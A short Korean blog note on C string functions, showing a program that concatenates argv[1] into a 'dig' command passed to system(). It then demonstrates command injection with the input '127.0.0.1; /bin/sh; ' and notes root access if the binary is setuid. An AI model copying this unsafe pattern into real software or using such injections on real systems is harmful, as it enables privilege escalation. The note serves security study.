Programming Language/C
strcpy(), strcat()
- abc.c -
int main (int args, char** argv[]) {
char cmd[100];
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
return 0;
}
$ abc.exe "127.0.0.1; /bin/sh; "
; <<>> DiG 9.2.1 <<>> @127.0.0.1
cmd[100] = "dig @127.0.0.1 version.bind chaos txt\0"
; = 한 줄에 여러개의 명령어 실행
127.0.0.1을 적고 추가적으로 /bin/sh 실행
abc.exe의 실행권한이 +4000 일 경우 권한탈취 가능
'Programming Language > C' 카테고리의 다른 글
공유메모리 dump (0) | 2018.05.20 |
---|---|
scrncmp (0) | 2018.05.19 |
int main(int argc, char *argv[]) (0) | 2018.05.13 |
call by reference (0) | 2018.03.28 |
댓글